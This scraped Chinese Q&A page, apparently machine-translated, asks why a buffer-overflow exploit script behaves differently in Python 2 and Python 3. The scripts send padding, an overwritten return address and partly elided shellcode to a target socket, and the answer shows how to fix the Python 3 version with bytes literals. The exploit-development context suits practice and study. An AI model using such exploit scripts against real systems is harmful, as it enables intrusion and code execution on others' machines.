Python3和Python2之间的区别-socket.send数据

用户名

我正在练习一些缓冲区溢出技术,但在发送已存储的数据时遇到了一个奇怪的问题。

我有这两个几乎完全相同的代码,除了在Python3代码中,我更改了sock.send以对字符串进行编码(在Python2中,您不需要这样做)

Python2代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close

Python 3代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close

我发送缓冲区,然后使用抗扰度调试器检查EIP / SEP值,然后发现在Python2代码和Python3代码之间得到的值不同。那怎么可能?

两者的缓冲区相同,因此调试器中的EIP / SEP应该相同。

换句话说,从服务器的角度来看(获取套接字数据)看起来它获取了不同的数据结构或类似的东西。

有任何想法吗?

谢谢。

贡卡洛普

您的服务器和调试器是正确的-缓冲区的内容是一样的。

在python 2和python 3中,如果您编写buffer = "A"*268,则缓冲区的类型为str但是,这两个版本中str表示的内容完全不同

在python 2中,astr实际上是字节数组。在python 3中,它是人类可读字符的序列,而不是字节(在python 2中称为“ unicode字符串”)

如果进一步.encode(),您将使用来将字符序列转换为字节序列utf-8可以这么说,“改变了字符串的内容”

您可能想做的是buffer = b"A"*268使用bytes而不是str你需要通过前缀所有的连接字节序列b,也

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

PHP socket_read / recv阻止python的socket.send

来自分类Dev

Python Socket接收大量数据

来自分类Dev

socket.send()和socket.sendall()有什么区别?

来自分类Dev

python3 socket recvfrom 只接收来自netcat的数据

来自分类Dev

如何使用python3 pickle通过python2 cPikle读取序列化数据?

来自分类Dev

Python2和Python3之间的字符编码

来自分类Dev

python中的socket.PF_PACKET和socket.AF_INET之间的区别

来自分类Dev

使用socket.send,python发送HTTP 1.1 GET请求

来自分类Dev

Python3 Socket 模块:解码 str

来自分类Dev

无法从 Python Socket 到 Java Socket 接收字符串数据

来自分类Dev

socket,socketio和websocket之间的区别

来自分类Dev

Socket :: close()和StreamSocket :: shutdown()之间的区别

来自分类Dev

socket.io 房间之间的区别 to 和 in

来自分类Dev

python3-使用socket.send()时管道破裂错误

来自分类Dev

使用 python3 和 python2 构建分发包的区别?

来自分类Dev

python中的socket.recv(255)挂起等待数据

来自分类Dev

python中的socket.recv(255)挂起等待数据

来自分类Dev

python2和python3之间的可移植元类

来自分类Dev

捕获标准输出时python2和python3之间的StringIO可移植性

来自分类Dev

python2和python3之间的可移植元类

来自分类Dev

Android和Socket.io,发送和接收数据

来自分类Dev

在RMI中导出远程数据和Socket重用

来自分类Dev

C#Socket接收数据并再次发送和接收

来自分类Dev

Python2 / 3中__new__和__init__顺序之间的区别

来自分类Dev

Python请求中“数据”和“参数”之间的区别?

来自分类Dev

python请求包中数据和json参数之间的区别

来自分类Dev

Python请求中数据和参数之间的区别

来自分类Dev

Python请求中数据和参数之间的区别

来自分类Dev

Socket.Receive()| Socket.Send()| Socket.BeginXXX | Socket.XXXAsync

Related 相关文章

  1. 1

    PHP socket_read / recv阻止python的socket.send

  2. 2

    Python Socket接收大量数据

  3. 3

    socket.send()和socket.sendall()有什么区别?

  4. 4

    python3 socket recvfrom 只接收来自netcat的数据

  5. 5

    如何使用python3 pickle通过python2 cPikle读取序列化数据?

  6. 6

    Python2和Python3之间的字符编码

  7. 7

    python中的socket.PF_PACKET和socket.AF_INET之间的区别

  8. 8

    使用socket.send,python发送HTTP 1.1 GET请求

  9. 9

    Python3 Socket 模块:解码 str

  10. 10

    无法从 Python Socket 到 Java Socket 接收字符串数据

  11. 11

    socket,socketio和websocket之间的区别

  12. 12

    Socket :: close()和StreamSocket :: shutdown()之间的区别

  13. 13

    socket.io 房间之间的区别 to 和 in

  14. 14

    python3-使用socket.send()时管道破裂错误

  15. 15

    使用 python3 和 python2 构建分发包的区别?

  16. 16

    python中的socket.recv(255)挂起等待数据

  17. 17

    python中的socket.recv(255)挂起等待数据

  18. 18

    python2和python3之间的可移植元类

  19. 19

    捕获标准输出时python2和python3之间的StringIO可移植性

  20. 20

    python2和python3之间的可移植元类

  21. 21

    Android和Socket.io,发送和接收数据

  22. 22

    在RMI中导出远程数据和Socket重用

  23. 23

    C#Socket接收数据并再次发送和接收

  24. 24

    Python2 / 3中__new__和__init__顺序之间的区别

  25. 25

    Python请求中“数据”和“参数”之间的区别?

  26. 26

    python请求包中数据和json参数之间的区别

  27. 27

    Python请求中数据和参数之间的区别

  28. 28

    Python请求中数据和参数之间的区别

  29. 29

    Socket.Receive()| Socket.Send()| Socket.BeginXXX | Socket.XXXAsync

热门标签

归档